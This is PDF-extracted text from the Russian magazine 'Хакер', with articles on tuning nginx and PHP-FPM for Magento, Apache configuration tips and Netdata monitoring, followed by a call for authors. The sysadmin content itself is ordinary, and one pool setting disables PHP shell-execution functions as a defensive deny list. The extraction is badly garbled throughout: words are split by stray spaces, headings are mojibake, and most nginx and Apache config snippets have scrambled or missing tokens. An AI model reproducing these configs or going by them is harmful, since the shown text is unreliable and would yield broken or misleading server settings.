Ос танов ка сер виса Redis воз вра щает пот ребле ние ресур сов в обыч ное сос- 
тояние, об этом так же при ходит уве дом ление в Telegram.

Ус тра нен ные триг геры и фик сация вос ста нов ления

На скрин шоте выше вид но, что кри тичес кое событие 

 не переш ло в . Это оста нов ленный

нами сер вер Redis.

go.d.
job_last_collected_secs recovered

Те перь пос мотрим, что у нас на даш бордах. На локаль ном даш борде один
активный триг гер — недос тупность Redis-сер вера.

Триг гер по недос тупнос ти Redis все еще акти вен

В Netdata Cloud — тот же триг гер.

Триг гер по недос тупнос ти Redis все еще акти вен

Ес ли мы не пла ниру ем далее исполь зовать Redis на этом хос те, дос таточ но
переза пус тить Netdata, что бы пла гин  был выг ружен. Пос коль ку

БД Redis не запуще на, то и пла гин не под гру зит ся, если его кон фигура ция
не опре деле на явно в .

go.d/redis

/etc/netdata/

Триг гера боль ше нет

Триг гера боль ше нет

ÂÛÂÎÄÛ

Мы рас смот рели нас трой ку и прин цип работы очень удоб ного, а глав ное —
бес плат ного инс тру мен та монито рин га. Этот инс тру мент мож но исполь зовать
не толь ко на наг ружен ных сер верах, но и в вир туаль ных машинах, на роуте рах
и одноплат ных компь юте рах. Netdata обла дает боль шим набором фун кций,
который лег ко рас ширя ется с исполь зовани ем пла гинов. И хотя этот инс тру- 
мент тре бует опре делен ной нас трой ки (как, впро чем, и любой дру гой инс тру- 
мент монито рин га для Linux), его воз можнос тей дол жно с лих вой хва тить
для решения боль шинс тва типич ных задач.



АНОМАЛИЯ
MAGENTНАЯ

НАСТРАИВАЕМ NGNIX
ДЛЯ РАБОТЫ С MAGENTO

Денис Колисниченко
Постоянный автор журнала

«Хакер»
dhsilabs@gmail.com

АДМИН

По нас трой ке сер вера nginx соз даны
тысячи ману алов, но иног да слу чают ся
ситу ации, не опи сан ные ни в одном
руководс тве. Пред посыл кой для этой пуб- 
ликации пос лужила вов се не 

, а реаль ный кейс:
на VDS с 39 Гбайт опе ратив ки nginx кушал
всю память, пос ле чего сайт «ложил ся».
Как мне уда лось спра вить ся с этой
напастью, я сей час рас ска жу.

моя пре дыду- 
щая статья про «Апач»

ÂÊÐÀÒÖÅ Î ÑÅÐÂÅÐÅ

Итак, име ем самый обыч ный VDS с 39 Гбайт опе ратив ки, 12 ядра ми и «Убун- 
той» на бор ту. PHP 7.2, PHP-FPM, MySQL 5.7. Вер сии ПО, может, нем ного
и древ ние, но уста нов лены нес прос та: такая кон фигура ция обус ловле на тре- 
бова ниями CMS Magento 2.3.4. Более новая вер сия PHP пов лекла бы
за собой обновле ние вер сии CMS, а это го по ряду при чин делать было нель- 
зя.

Как обыч но, все прек расно работа ло до одно го момен та: пока не начались
тра дици онные новогод ние рас про дажи и мар кетоло ги не при тащи ли на сайт
кучу тра фика. Вот тут и начались проб лемы. Наибо лее харак терная из них —
про цесс  в паре с MySQL выжирал всю опе ратив ку. Переза пуск сер- 
висов с добав лени ем 20 Гбайт сво па проб лему решил ненадол го. Даль ше
пошел про цесс нас трой ки nginx и , преж де все го — пос ледне го, пос- 

коль ку имен но его парамет ры вли яют на экс плу ата цион ные осо бен ности
CMS. Я не буду рас смат ривать уста нов ку и нас трой ку nginx с самого
начала — ско рее все го, у тебя уже все нас тро ено. Даже если это не так,
в сети мож но най ти мно жес тво ста тей и руководств на эту тему. Скон цен три- 
руем ся луч ше на парамет рах, непос редс твен но вли яющих на про изво дитель- 
ность сер вера.

php-fpm

php-fpm

ÊÎÍÔÈÃÓÐÀÖÈÎÍÍÛÅ ÔÀÉËÛ

Преж де чем прис тупить к даль нейше му чте нию статьи, нуж но понимать, что
и где и редак тировать. Кон фигура ция nginx хра нит ся в катало ге .

Основной кон фиг — , но вре мена одно го боль шого фай ла уже

дав но прош ли, и в зависи мос ти от содер жимого  кон фигура ция

веб-сер вера может быть раз бро сана по всей фай ловой сис теме.

/etc/nginx
nginx.conf

nginx.conf

Как пра вило, кон фиги сай тов хра нят ся в катало ге .

Для каж дого сай та при нято соз давать отдель ный кон фиг. Далее нуж но про- 
ана лизи ровать содер жимое фай лов кон фигура ции на пред мет дирек тивы

. Если пер воначаль ную нас трой ку выпол нял не ты, поищи во всех

фай лах катало га  фай лы с дирек тивой  — так ты пой мешь, что

и отку да берет ся. Нап ример, в моем слу чае кто-то до меня добавил дирек- 
тиву , что бы некото рые парамет ры мож- 

но было вынес ти в каталог докумен тов веб-сер вера и редак тировать их
без редак тирова ния основной кон фигура ции сер вера. Что-то вро де 

 в «Апа че», вот толь ко пос ле изме нения это го фай ла все рав но

при дет ся делать reload сер вису.

/etc/nginx/conf.d

Include
nginx Include

include /var/www/www/nginx.conf

.htaccess

Да лее перей дем к парамет рам PHP. У него есть нес коль ко кон фигура ций.
Преж де все го вве ди коман ду , что бы выяс нить номер вер сии. Так вот,

кон фигура ция тво ей вер сии PHP хра нит ся в катало ге 

. В этом катало ге ты най дешь четыре под катало га. Да, это три раз ные

кон фигура ции и спи сок модулей:

php –v
/etc/php/<номер 

версии>

apache2 — кон фиг для модуля mod_rewrite «Апа ча». Если у тебя «Апач», то
нас трой ки PHP хра нят ся здесь;

•

cli — парамет ры кон соль ной вер сии PHP, они всту пают в силу, если ты
запус каешь выпол нение скрип та с кон соли коман дой 

•

;php <имя_скрипта>
fpm — наш слу чай, а имен но кон фигура ция сер виса  и самого
PHP, работа юще го в связ ке nginx, PHP-FPM и PHP;

• php-fpm

mods-available — дос тупные рас ширения PHP. Здесь хра нят ся .ini-фай лы,
по одно му для каж дого уста нов ленно го рас ширения. Заком менти ровав
строч ку  внут ри это го фай ла, ты можешь вык лючить рас- 
ширение.

•

extension

Что бы узнать, какой имен но файл кон фигура ции PHP исполь зует ся, помес ти
в корень сер вера PHP-скрипт, вызыва ющий . Эта фун кция

и покажет (кро ме все го про чего) локацию и имя фай ла кон фигура ции.

php_info()

ÂÊËÞ×ÅÍÈÅ HTTP 2.0

Ес ли не счи тать ста тичес кого кеша, то самое кру тое, что ты можешь сде лать
в нас трой ках nginx, — это вклю чить HTTP 2.0. Некото рые адми ны почему-то
забыва ют об этом. В моем слу чае так и было: я уже получил пред нас тро енный
под рядчи ком сер вер, в котором почему-то забыли вклю чить вер сию 2.0 про- 
токо ла HTTP. Думаю, не нуж но говорить о том, как мед ленно работа ла
Magento.

Боль ше дела, мень ше слов: открой кон фигура цию сай та в катало ге 

. Най ди блок  и добавь (если это го
еще не сде лано)  в дирек тиву . Дол жно получить ся так:

/etc/
nginx/conf.d/<имя_сайта>.conf server

http2 listen

 { server
      ; listen 443 ssl http2
    ; ssl on
   ... 
} 

Но мер пор та и SSL уста нови по сво ему усмотре нию, но пос коль ку при мер
реаль ный, то SSL уже есть на тво ем сай те, так как это стан дарт по умол чанию.

OPCACHE: ÁÛÒÜ ÈËÈ ÍÅ ÁÛÒÜ?

OPcache исполь зует ся для кеширо вания ском пилиро ван ного байт-кода PHP-
скрип тов в опе ратив ной памяти. С одной сто роны, при исполь зовании
OPcache повысит ся про изво дитель ность и сни зит ся наг рузка на сер вер —
PHP уже не будет соз давать байт-код при выпол нении скрип та, а ста нет
исполь зовать откомпи лиро ван ную вер сию из кеша. С дру гой сто роны, в про- 
цес се исполь зования слож ных CMS вро де Magento могут воз никнуть проб- 
лемы. При уста нов ке рас ширения это го движ ка про исхо дит так называ емая
переком пиляция Magento. Луч ше эту про цеду ру про изво дить при вык лючен- 
ном кеше, а затем сно ва его вклю чить.

Для это го редак тиру ется кон фиг, перезаг ружа ется сер вис , про- 

изво дят ся необ ходимые дей ствия, а потом сно ва все пов торя ется — редак- 
тирова ние кон фига и переза пуск сер виса. Так же воз никнут проб лемы
при исполь зовании собс твен ной сис темы кеширо вания Magento. Здесь
поможет исполь зование Varnish. В общем, резюми ровать мож но сле дующее:
если ты решишь вклю чить OPcache, то в слу чае с Magento тебе при дет ся
отка зать ся от исполь зования собс твен ной сис темы кеширо вания и раз- 
бирать ся с нас трой ками Varnish. Уста нов ка рас ширений дос тавля ет мень ше
неудобств, пос коль ку выпол няет ся не так час то.

php-fpm

Для вклю чения OPcache нуж но открыть кон фигура цию PHP, в нашем слу чае
это , и добавить в него все го одну строч ку:/etc/php/7.2/fpm/php.ini

  opcache.enable = 1

Этим ты акти виру ешь  с нас трой ками по умол чанию. Как минимум

мож но задать параметр , который регули рует

раз мер памяти (в мегабай тах), выделя емый для OPcache. Зна чение по умол- 
чанию — 128, минималь но допус тимое зна чение — 8:

opcache
opcache.memory_consumption

  opcache.memory_consumption = 256

С осталь ными нас трой ками OPcache мож но озна комить ся . На сво ем
сер вере я отклю чил OPcache по двум при чинам. Во-пер вых, сайт активно
допили вает ся, из-за чего очень час то при ходит ся добав лять в него новые
фун кции или изме нять уже име ющиеся, что при вклю чен ном OPcache не сов- 
сем удоб но. Во-вто рых, пока нет никако го желания уста нав ливать Varnish,
хотя в ско ром вре мени это при дет ся сде лать. На дан ный момент исполь зует- 
ся штат ная сис тема кеширо вания.

здесь

ÇÀÏÐÅÙÀÅÌ ÄÎÑÒÓÏ ÁÎÒÎÂ

Бо ты во вре мя сво его обхо да сай та рас ходу ют дра гоцен ные ресур сы.
При неб лагоп рият ном сте чении обсто ятель ств (нап ример, слу чай ные
или намерен ные визиты нес коль ких ботов сра зу) сайт может упасть,
не выдер жав наг рузки. Каж дый GET-зап рос стра ницы тянет за собой исполь- 
зование ресур сов сер вера: заг рузка эле мен тов стра ницы (кар тинки, CSS-
таб лицы и про чее), обра щение к базе дан ных и, воз можно, к сто рон ним
ресур сам. Бот — это не поль зователь, который откро ет одну стра ницу и изу- 
чает ее кон тент, бот откры вает стра ницу за стра ницей, что может выз вать
негатив ные пос ледс твия.

К сожале нию, не все боты чита ют содер жимое . Изба вить ся

от ботов мож но в кон фиге nginx. Открой файл кон фигура ции тво его сай та,
оты щи блок server и добавь в него сле дующие стро ки:

robots.txt

 ($  ~* | | | | |
| | | | | . |

| | | . ) { 

if http_user_agent SemrushBot semrush PetalBot petalbot MJ12Bot
AhrefsBot bingbot DotBot LinkpadBot SputnikBot statdom ru
WebDataStats Jooblebot Baiduspider openstat ru
    ; return 403
} 

Ду маю, смысл этих строк понятен всем: мы смот рим на 

и если агент поль зовате ля содер жит одну из зап рещен ных строк, воз вра- 
щаем ошиб ку 403. Это не весь спи сок ботов, ты можешь допол нить его.
Узнать имя бота мож но из  — в логе сох раня ется вся нуж ная

инфа.

http_user_agent

access.log

ÊÀÑÒÎÌÍÀß MAINTENANCE-ÑÒÐÀÍÈÖÀ ÄËß «ÌÀÄÆÅÍÒÛ»

При перево де в режим обслу жива ния Magento отоб ража ет неп римеча тель- 
ное сооб щение о том, что сайт зак рыт. Выг лядит очень неп резен табель но.
Мы можем соз дать кас томную стра ницу, которая будет отоб ражать ся, ког да
сайт зак рыт на обслу жива ние. Прос то добавь в кон фиг тво его сай та сле- 
дующие стро ки (внут ри бло ка ):server

 $  / / / ; set MAGE_ROOT var www www
 $  ; set maintenance off
 (-  $ / . ) { if f MAGE_ROOT maintenance enable

    $  ;set maintenance on
} 

 ($  ~ ( . . . | . . . )) { if remote_addr 188 xx yy zz 188 aa bb cc
    $  ; set maintenance off
} 

 ($  = ) { if maintenance on
    ; return 503
} 

 /  { location maintenance
} 

  @ ; error_page 503 maintenance
 @  { location maintenance

    $ ; root MAGE_ROOT
   .  ; rewrite ^(.*)$ /maintenance html break
} 

Ра ботать будет так:
пе ремен ная  уста нав лива ет каталог, в котором уста нов лено
при ложе ние;

• $MAGE_ROOT

по умол чанию режим обслу жива ния вык лючен — 
;

• set $maintenance 
off
ре жим обслу жива ния вклю чает ся, если в кор невом катало ге при ложе ния
есть файл ;

•
maintenance.enable

ре жим обслу жива ния не работа ет для IP-адре сов  и 
. Здесь ты можешь ука зать свои адре са;

• 188.xx.yy.zz 188.
aa.bb.cc
ес ли режим обслу жива ния вклю чен, воз вра щает ся стра ница

, находя щаяся в кор не ( ). Имен но сюда
сле дует помес тить стра нич ку с нуж ным тек стом и офор мле нием. Офор- 
мле ние (CSS) луч ше рас положить внут ри это го фай ла, как и кар тинки 

 сайт в режиме обслу жива ния дол жен минималь но наг ружать
сер вер.

•
maintenance.html MAGE_ROOT

(в SVG), —

ÍÀÑÒÐÎÉÊÀ ÏÓËÀ WWW

Те перь перей дем к опци ям PHP-FPM. Как пра вило, зна чимые парамет ры хра- 
нят ся в кон фиге пула — в катало ге . В нем

есть один или нес коль ко кон фигов. Далее при веден при мер моего фай ла:

/etc/php/версия/fpm/pool.d/

[www]
  user = www-data
  group = www-data
  listen = /var/run/php/php7.2-fpm.sock

  listen.owner = www-data
  listen.group = www-data

  php_admin_value[disable_functions] = exec,passthru,shell_exec,system
  php_admin_flag[allow_url_fopen] = on

  php_value[max_input_vars] = 300000
  pm = dynamic

  pm.max_children = 259
  pm.start_servers = 48

  pm.min_spare_servers = 24
  pm.max_spare_servers = 248

  pm.max_requests = 2000
  request_terminate_timeout = 6000

  php_admin_value[memory_limit] = 8192M
  chdir = /

slowlog=/var/log/php-slow.log
request_slowlog_timeout=30s

Не нуж но сле по копиро вать все зна чения — они уста нов лены для моего сер- 
вера и на тво ем могут сде лать толь ко хуже. Поп робу ем разоб рать ся, что
к чему.

Па рамет ры, которые непос редс твен но вли яют на про изво дитель ность,
начина ются с . В боль шинс тве слу чаев исполь зует ся динами чес кая кон- 

фигура ция ( ), при которой количес тво про цес сов PHP-FPM

меня ется динами чес ки, в зависи мос ти от количес тва зап росов. При этом
име ется минималь ное количес тво про цес сов, которые будут запуще ны
при стар те FPM-сер виса. Осталь ные парамет ры трак туют ся так:

pm
pm = dynamic

 — мак сималь ное количес тво дочер них про цес сов,
которые будут соз даны, по сути это мак сималь ное количес тво зап росов,
которые может обслу жить пул. Ана лог  для «Апа ча»;

• pm.max_children

ApacheMaxClients
 — чис ло дочер них про цес сов, которые будут соз- 

даны при запус ке пула, исполь зует ся толь ко в динами чес кой кон фигура- 
ции;

• pm.start_servers

 — минималь ное количес тво дочер них про цес- 
сов в ста тусе Idle;

• pm.min_spare_servers

 — мак сималь ное количес тво дочер них про цес- 
сов в ста тусе Idle;

• pm.max_spare_servers

 — мак сималь ное количес тво зап росов, которое дол- 
жен обра ботать про цесс FPM перед его переза пус ком (помога ет избе- 
жать уте чек памяти). Здесь нуж но экспе римен тировать, для кого-то подой- 
дет зна чение 1000, для кого-то зна чение нуж но уве личи вать.

• pm.max_requests

Мож но экспе римен тировать с эти ми зна чени ями вруч ную, а мож но вос поль- 
зовать ся скрип том . На вся кий слу чай код скрип та:php_settings.sh

#!/usr/bin/env bash
          if [[ -z ${1} ]] || [[ -z ${2} ]]; then

   echo -e "Run script: ./php_settings.sh <Memory size MB> <PHP-FPM 
version>\n./php_settings.sh 1024 7.4"
 1 exit 
fi

_php_version=${2}
     

 
_cpu_cores=$(( $(lscpu | awk '/^Socket/{ print $2 }') * $(lscpu | awk
'/^Core/{ print $4 }') ))
_mem_usage=${1}

ps    
 |  

_average_proc_mem=$( --no-headers -o "rss,cmd" -C php-fpm${
_php_version} awk '{ sum+=$1 } END { printf ("%d\n", sum/NR/1024) }
')

  echo -e "average_proc_mem=${_average_proc_mem}\n#################"
 echo pm.max_children=$(awk "BEGIN { printf ${_mem_usage} / ${

_average_proc_mem} }")
 echo pm.start_servers=$(awk "BEGIN { printf ${_cpu_cores} * 4 }")

 echo pm.min_spare_servers=$(awk "BEGIN { printf ${_cpu_cores} * 2 }")
 echo pm.max_spare_servers=$(awk "BEGIN { printf ${_cpu_cores} * 4 }")

Ис поль зовать скрипт прос то: зада ешь объ ем (в мегабай тах) опе ратив ки
и вер сию PHP, затем получа ешь стро ки, которые нуж но ско пиро вать в 

 (кон фигура ция пула). Исполь зуя код скрип та, мож но все пос читать

и вруч ную, одна ко авто мати зация еще никог да не мешала. Вывод скрип та
может быть таким:

www.
conf

average_proc_mem=159
#################
pm.max_children=251.17
pm.start_servers=48
pm.min_spare_servers=24
pm.max_spare_servers=48

В кон фиг нуж но ско пиро вать не все, а толь ко стро ки пос ле . Пер вая стро- 

ка намека ет на при мер ный объ ем про цес са, который у тебя дол жен получить- 
ся. Если  не целое чис ло, его мож но округлить до бли жай шего

целого.

###

max_children

Ис поль зование скрип та

С при веден ными нас трой ками сер вак был перезаг ружен (перезаг ружать
вооб ще не нуж но было, но для чис тоты экспе римен та это необ ходимо). Спус- 
тя девять часов работы в обыч ном режиме рас ход памяти не пре- 
высил 11 Гбайт, что не может не радовать.

Пот ребле ние ресур сов пос ле нас трой ки парамет ров

Так же не забудь вклю чить slow-лог:

slowlog=/var/log/php-slow.log
request_slowlog_timeout=30s

Ес ли какой-то скрипт выпол няет ся боль ше 30 секунд, то инфа о нем будет
помеще на в файл . Это поможет при выяв лении
узких мест на сай те.

/var/log/php-slow.log

ÂÛÂÎÄÛ

По боль шому сче ту каж дая CMS име ет свои инди виду аль ные осо бен ности
и может пот ребовать собс твен ных нас тро ек сер вера. Для Magento опти маль- 
ная кон фигура ция nginx опи сана в этой пуб ликации. Статья хоть и не рас кры- 
вает всех тон костей нас трой ки nginx, одна ко при веден ных в ней инс трук ций
впол не дос таточ но, что бы сде лать сущес твен но «луч ше, чем было».

mailto:dhsilabs@gmail.com
https://xakep.ru/2022/01/13/apache-secrets-guide/
https://www.php.net/manual/ru/opcache.configuration.php
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АДМИН

Мне ния отно ситель но Apache раз нятся. Кто-то счи тает его
рух лядью на фоне прод винуто го и более молодо го Nginx,
кто-то до сих пор исполь зует в качес тве при выч ного инс тру- 
мен та. Эта статья — не прос то ману ал (коих в Сети — море)
по кон фигура ции веб-сер вера, в ней мы рас смот рим нас- 
трой ку «фишек», которые любой админ смо жет сме ло
положить в копил ку собс твен ного опы та.

ÐÀÁÎÒÀ ÑÅÐÂÅÐÀ ÍÀ ÍÅÑÊÎËÜÊÈÕ ÏÎÐÒÀÕ

Как пра вило, при нас трой ке SSL/HTTPS веб-сер вер слу шает порт 80 или 443.
Но в некото рых слож ных кон фигура циях нуж но, что бы он слу шал нес коль ко
пор тов. Далее будет показа но, как раз местить на одном сер вере три незави- 
симых при ложе ния, каж дое из которых будет работать на собс твен ном пор- 
те — 80, 3128 и 8080. На прак тике такая кон фигура ция не ред кость в dev-сре- 
дах, где есть пот ребность в раз мещении нес коль ких незави симых при ложе- 
ний на одном сер вере (не арен довать же для это го сра зу нес коль ко сер- 
веров?).

Пер вым делом нуж но отре дак тировать файл 
и задать пор ты, которые будет слу шать сер вер (по одно му пор ту в строч ке):

/etc/apache2/ports.conf

 Listen 80
 Listen 3128
 Listen 8080

Да лее нуж но соз дать кон фигура цию для каж дого при ложе ния (для каж дого
пор та). Ты можешь исполь зовать раз ные фай лы кон фигура ции, а можешь
помес тить все нас трой ки в один файл — как боль ше нра вит ся. Вот лис тинг,
где все нас трой ки хра нят ся в одном боль шом фай ле (что бы не делать три
раз ных лис тинга).

Ôàéë /etc/apache2/sites-available/000-default.conf

<  *: > VirtualHost 80
       / / /DocumentRoot var www landing

 / / / >    <Directory var www landing
 -       Options Indexes

        AllowOverride All

       # Apache 2.4.x
 . >        <IfModule mod_authz_core c
             Require all granted
>        </IfModule

>    </Directory

      / / / / . .  CustomLog var log apache2 landing access log "Combined"
       / / / / . .ErrorLog var log apache2 landing error log
</ > VirtualHost

<  *: > VirtualHost 3128
       / / /DocumentRoot var www sonerezh

 / / / >    <Directory var www sonerezh
 -       Options Indexes

        AllowOverride All

       # Apache 2.4.x
 . >        <IfModule mod_authz_core c
             Require all granted
>        </IfModule

>    </Directory

      / / / / . . - .  CustomLog var log apache2 demo sonerezh bzh access log
"Combined"
       / / / / . . - .ErrorLog var log apache2 demo sonerezh bzh error log
</ > VirtualHost

<  *: > VirtualHost 8080
       / / / -DocumentRoot var www sonerezh ru

 / / / - >    <Directory var www sonerezh ru
 -       Options Indexes

        AllowOverride All

       # Apache 2.4.x
 . >        <IfModule mod_authz_core c
             Require all granted
>        </IfModule

>    </Directory

      / / / / . . - .  CustomLog var log apache2 demo sonerezh ru access log
"Combined"
       / / / / . . - .ErrorLog var log apache2 demo sonerezh ru error log
</ > VirtualHost

Прин цип сле дующий: мы ука зыва ем номер пор та в дирек тиве ,

а затем готовим раз ную кон фигура цию для раз ных узлов. Пос ле нас трой ки
нуж но не забыть рес тарта нуть апач ( ),
а затем обра щать ся к каж дому при ложе нию мож но так:

VirtualHost

sudo systemctl restart apache2

http://IP:номер порта 

ÄÈÍÀÌÈ×ÅÑÊÈÅ ÏÎÄÄÎÌÅÍÛ

Час то для одно го домена соз дают ся под домены (нап ример,
sales.example.com или support.example.com). Под домены нас тра ивают ся c
исполь зовани ем дирек тивы . Но если под доменов мно го, то

тебе быс тро надо ест соз давать отдель ный кон фигура цион ный файл для каж- 
дого из них. Гораз до про ще исполь зовать сле дующую кон фигура цию:

VirtualHost

Äè íàìè ÷åñ êèå ïîä äîìåíû

<  *: > VirtualHost 80
  @ .       ServerAdmin site example com
   .       ServerName example com
  . .       ServerAlias www example com
 / / / . /       DocumentRoot var www example com htdocs

 ${ }/ .       ErrorLog APACHE_LOG_DIR error log
 ${ }/ .         CustomLog APACHE_LOG_DIR access log combined

</ > VirtualHost

<  *: > VirtualHost 80
 @ .       ServerAdmin site example com
 .       ServerName example com
 *. .       ServerAlias example com

        UseCanonicalName Off
 / / / . /%-       VirtualDocumentRoot var www example com 3

 ${ }/ .       ErrorLog APACHE_LOG_DIR error log
 ${ }/ .         CustomLog APACHE_LOG_DIR access log combined

</ > VirtualHost

Все под домены будут зап рашивать ся из под катало гов катало га 

. Для работы дан ной кон фигура ции нуж но, что бы 

был уста нов лен и акти виро ван. Так же нуж но, что бы DNS-сер вер знал о под- 
домене. Дру гими сло вами, мало соз дать пап ку  в 

. Нуж но, что бы DNS-сер вер знал, где искать под домен test.example.com.

/var/www/
example.com mod_rewrite

test /var/www/example.
com

ÂÑÅ ÍÎÂÎÅ — ÕÎÐÎØÎ ÇÀÁÛÒÎÅ ÑÒÀÐÎÅ, ÈËÈ

ÏÎËÜÇÎÂÀÒÅËÜÑÊÈÅ ÊÀÒÀËÎÃÈ

Поль зовате лям, зас тавшим 2000-е, хорошо зна кома сле дующая схе ма URL:
. Рань ше такая запись час то исполь зовалась на все- 

воз можных бес плат ных хос тингах вро де narod.ru. Ник то не замора чивал ся
с под домена ми, прос то соз давал ся каталог, в который помеща лись фай лы
поль зовате ля. В слу чае если тебе вдруг понадо билось пре дос тавить поль- 
зовате лям мес то под их лич ный сайт, мож но реали зовать такой же механизм
поль зователь ских катало гов пос редс твом дирек тивы . По умол чанию

дирек тива  отклю чена:

имя_сайта/~имя_юзера

UserDir
UserDir

 UserDir disabled

Вклю чить ее мож но, ука зав вмес то  любое дру гое зна чение — обыч- 

но ука зыва ется зна чение :

disabled
public_html

 UserDir public_html

За тем в поль зователь ском катало ге  соз дает ся каталог

 и в него помеща ются HTML/PHP-фай лы пер сональ ного сай та
поль зовате ля. Обра щение к сай ту поль зовате ля про исхо дит по URL:

/home/<имя>
public_html

http://имя_сервера/~имя_пользователя 

Нап ример, если при вклю чен ной дирек тиве  ты помес тил в каталог 

 файл , то обра тить ся к нему мож но

по адре су .

UserDir
/home/den/public_html report.xml

http://server/~den/report.xml
Ра нее, в доис торичес кие вре мена, дос таточ но было рас коммен тировать

эту дирек тиву в кон фигура цион ном фай ле. Сей час, ког да кон фигура ция сер- 
вера сос тоит из нес коль ких неболь ших фай лов, добав ление этой опции
в основной кон фиг не при водит ни к каким изме нени ям. Опцию  нуж- 

но добавить (точ нее, прос то рас коммен тировать) в фай ле 

. А затем добавить сле дующую стро ку в самый конец фай- 

ла :

UserDir
/etc/apache2/

mod_userdir.conf
/etc/apache2/default-server.conf

 / / / .Include etc apache2 mod_userdir conf

Пос ле все го это го сле дует переза пус тить апач.

ÓÑÊÎÐßÅÌÑß Ñ ÏÎÌÎÙÜÞ PAGESPEED È MEMCACHED

Ус корить работу запущен ного под управле нием Апа ча веб-при ложе ния мож- 
но пос редс твом PageSpeed и Memcached. Сис тему кеширо вания нуж но
выбирать, исхо дя из самого при ложе ния. Нап ример, для некото рых из них
(вро де Magento 2) рекомен дует ся исполь зовать Varnish, но Varnish сло жен
в нас трой ке, хотя и поз воля ет добить ся неп лохих резуль татов. Нач нем с уста- 
нов ки Google PageSpeed:

cd /tmp 
wget https://dl-ssl.google.com/dl/linux/direct/mod-pagespeed-stable_
current_amd64.deb 

dpkg sudo -i mod-pagespeed-stable_current_amd64.deb 

Пос ле это го нуж но уста новить Memcached. Он дос тупен из репози тори ев
Ubuntu:

apt sudo install memcached 

Ус тановив демон, нуж но узнать порт, на котором он работа ет. Вве ди коман ду

 | netstat -tap grep memcached 

Порт будет выведен пос ле сло ва  — нап ример: .

Это стан дар тный порт для Memcached, который нуж но ука зать в кон фигура- 
ции модуля .

localhost localhost:11211

mod_pagespeed
Для уско рения PHP-при ложе ний сле дует уста новить пакет :php-memcached

apt sudo install php-memcached 

Ос талось нас тро ить модуль  на работу с помощью

Memcached. Для это го открой файл 

:

mod_pagespeed
/etc/apache2/mods-available/

pagespeed.conf

mcedit /etc/apache2/mods-available/pagespeed.conf 

Вы пол ни поиск по стро ке: . Рас коммен тируй
стро ку:

ModPagespeedMemcachedServers

  :# ModPagespeedMemcachedServers localhost 11211

Она дол жна быть такой:

 :ModPagespeedMemcachedServers localhost 11211

Пе реза пус ти Apache:

sudo systemctl restart apache2 

Те перь твой сайт будет работать нем ного быс трее. Для более тон кой нас- 
трой ки обра тись к докумен тации по Memcached.

ÏÐÎÒÎÊÎËÈÐÎÂÀÍÈÅ POST-ÇÀÏÐÎÑÎÂ

Как все мы зна ем, HTTP-зап росы быва ют двух типов: GET и POST. С логиро- 
вани ем GET-зап росов никаких проб лем не воз ника ет — все они заносят ся
в файл . А вот что с POST-зап росами? Как мы узна ем, какой поль- 
зователь обра щал ся с помощью POST к нашим сце нари ям и какие дан ные
переда вал? В этом нам поможет модуль modsecurity.

access.log

Воз можнос ти у modsecurity весь ма широки, но нас инте ресу ет сей час
толь ко логиро вание POST-зап росов, на этом и оста новим ся. Уста нови
modsecurity:

apt sudo install libapache2-modsecurity 

Ско пируй файл кон фигура ции с рекомен дуемы ми парамет рами, что бы
исполь зовать его в качес тве основно го фай ла кон фигура ции:

cd /etc/modsecurity/ 
sudo cp modsecurity.conf-recomended modsecurity.conf 

От крой файл  для редак тирова ния:/etc/modsecurity/modsecurity.conf

sudo mcedit /etc/modsecurity/modsecurity.conf 

До бавь в него сле дующие стро ки:

 SecRequestBodyAccess On
   SecRule REQUEST_METHOD "POST" "id:200012,phase:2,ctl:auditEngine=On,

log,pass"

При желании мож но нас тро ить и дру гие парамет ры это го модуля — обра тись
к соот ветс тву ющей докумен тации (ее без проб лем мож но най ти в интерне те).
Переза пус ти Apache:

sudo systemctl restart apache2 

Файл жур нала modsecurity называ ется 

. Если на сер вере работа ет нес коль ко сай тов, то соот ветс тву ющую нас- 
трой ку нуж но выпол нить для каж дого отдель ного вир туаль ного узла. Открой
файл кон фигура ции вир туаль ного узла и добавь стро ки:

/var/log/apache2/modsec_audit.
log

<  > IfModule security2_module
 / / / / .       SecAuditLog var log apache2 audit_example_com log

          SecRule REQUEST_METHOD "POST" "id:22222224,phase:2,ctl:
auditEngine=On,log,pass"

        SecRuleEngine On
</ > IfModule

Бе зус ловно, веб-сер вер Apache име ет гораз до боль ше воз можнос тей
для тон кой нас трой ки и тюнин га, но все они доволь но под робно опи саны
в офи циаль ной докумен тации. Эти нес коль ко полез ных при емов помогут тебе
быс тро нас тро ить нуж ные фун кции Apache, если ты при вык поль зовать ся
имен но этим про дук том или под рукой нет дру гого веб-сер вера. В сле- 
дующей статье мы поп робу ем твик нуть твой любимый Nginx.

mailto:dhsilabs@gmail.com


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
